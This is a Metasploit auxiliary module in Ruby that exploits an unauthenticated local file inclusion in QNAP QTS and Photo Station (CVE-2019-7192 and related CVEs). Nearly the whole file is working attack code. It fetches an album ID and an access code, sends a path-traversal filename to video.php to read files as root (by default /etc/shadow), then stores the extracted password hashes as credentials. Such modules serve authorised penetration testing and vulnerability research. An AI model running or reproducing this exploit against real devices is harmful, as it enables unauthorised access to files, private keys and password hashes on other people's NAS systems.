205 lines
5.8 KiB
Ruby
205 lines
5.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'QNAP QTS and Photo Station Local File Inclusion',
|
|
'Description' => %q{
|
|
This module exploits a local file inclusion in QNAP QTS and Photo
|
|
Station that allows an unauthenticated attacker to download files from
|
|
the QNAP filesystem.
|
|
|
|
Because the HTTP server runs as root, it is possible to access
|
|
sensitive files, such as SSH private keys and password hashes.
|
|
|
|
This module has been tested on QTS 4.3.3 (unknown Photo Station
|
|
version) and QTS 4.3.6 with Photo Station 5.7.9.
|
|
},
|
|
'Author' => [
|
|
'Henry Huang', # Vulnerability discovery
|
|
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # MSF module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['CVE', '2019-7192'],
|
|
['CVE', '2019-7194'],
|
|
['CVE', '2019-7195'],
|
|
['EDB', '48531'],
|
|
['URL', 'https://infosecwriteups.com/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05'],
|
|
['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201911-25'],
|
|
['URL', 'https://github.com/Imanfeng/QNAP-NAS-RCE']
|
|
],
|
|
'DisclosureDate' => '2019-11-25', # Vendor advisory
|
|
'Actions' => [
|
|
['Download', { 'Description' => 'Download the file at FILEPATH' }]
|
|
],
|
|
'DefaultAction' => 'Download',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(8080),
|
|
OptString.new('TARGETURI', [true, 'The URI of the QNAP Website', '/']),
|
|
OptString.new('FILEPATH', [true, 'The file to read on the target', '/etc/shadow']),
|
|
OptBool.new('PRINT', [true, 'Whether or not to print the content of the file', true]),
|
|
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 3])
|
|
])
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'authLogin.cgi')
|
|
)
|
|
|
|
unless res && res.code == 200 && (xml = res.get_xml_document)
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
info = %w[modelName version build patch].map do |node|
|
|
xml.at("//#{node}").text
|
|
end
|
|
|
|
vprint_status("QNAP #{info[0]} #{info[1..].join('-')} detected")
|
|
|
|
return Exploit::CheckCode::Appears if info[2].to_i < 20191206
|
|
|
|
Exploit::CheckCode::Detected
|
|
end
|
|
|
|
def run
|
|
if check == Exploit::CheckCode::Safe
|
|
print_error('Device does not appear to be a QNAP')
|
|
return
|
|
end
|
|
|
|
file_content = exploit_lfi(datastore['FILEPATH'])
|
|
|
|
if file_content.nil? || file_content.empty?
|
|
print_bad('Failed to perform Local File Inclusion')
|
|
return
|
|
end
|
|
|
|
fname = File.basename(datastore['FILEPATH'])
|
|
|
|
path = store_loot(
|
|
'qnap.http',
|
|
'text/plain',
|
|
datastore['RHOST'],
|
|
file_content,
|
|
fname
|
|
)
|
|
|
|
print_good("File download successful, saved in #{path}")
|
|
|
|
print_good("File content:\n#{file_content}") if datastore['PRINT']
|
|
|
|
return unless datastore['FILEPATH'] == '/etc/shadow'
|
|
|
|
print_status('adding the /etc/shadow entries to the database')
|
|
|
|
file_content.lines.each do |line|
|
|
entries = line.split(':')
|
|
|
|
next if entries[1] == '*' || entries[1] == '!' || entries[1] == '!!'
|
|
|
|
credential_data = {
|
|
module_fullname: fullname,
|
|
workspace_id: myworkspace_id,
|
|
username: entries[0],
|
|
private_data: entries[1],
|
|
jtr_format: 'md5crypt',
|
|
private_type: :nonreplayable_hash,
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
}.merge(service_details)
|
|
|
|
create_credential(credential_data)
|
|
end
|
|
end
|
|
|
|
def exploit_lfi(file_path)
|
|
album_id, cookies = retrieve_album_id
|
|
|
|
unless album_id
|
|
print_bad('Failed to retrieve the Album Id')
|
|
return
|
|
end
|
|
|
|
print_good("Got Album Id : #{album_id}")
|
|
|
|
access_code = retrieve_access_code(album_id, cookies)
|
|
|
|
unless access_code
|
|
print_bad('Failed to retrieve the Access Code')
|
|
return
|
|
end
|
|
|
|
print_good("Got Access Code : #{access_code}")
|
|
|
|
print_status('Attempting Local File Inclusion')
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'photo', 'p', 'api', 'video.php'),
|
|
'method' => 'POST',
|
|
'cookie' => cookies,
|
|
'vars_post' => {
|
|
'album' => album_id,
|
|
'a' => 'caption',
|
|
'ac' => access_code,
|
|
'filename' => ".#{file_path.start_with?('/') ? '/..' * datastore['DEPTH'] + file_path : "/#{file_path}"}"
|
|
}
|
|
})
|
|
|
|
return unless res && res.code == 200
|
|
|
|
res.body
|
|
end
|
|
|
|
def retrieve_album_id
|
|
print_status('Getting the Album Id')
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'photo', 'p', 'api', 'album.php'),
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'a' => 'setSlideshow',
|
|
'f' => 'qsamplealbum'
|
|
}
|
|
})
|
|
|
|
return unless res && res.code == 200
|
|
|
|
xml_data = res.get_xml_document
|
|
output = xml_data.xpath('//output[1]')
|
|
return if output.empty?
|
|
|
|
[output.inner_text, res.get_cookies]
|
|
end
|
|
|
|
def retrieve_access_code(album_id, cookies)
|
|
print_status('Getting the Access Code')
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'photo', 'slideshow.php'),
|
|
'vars_get' => { 'album' => album_id },
|
|
'cookie' => cookies
|
|
})
|
|
|
|
return unless res && res.code == 200
|
|
|
|
res.body[/(?<=encodeURIComponent\(["']).+(?=['"])/]
|
|
end
|
|
|
|
end
|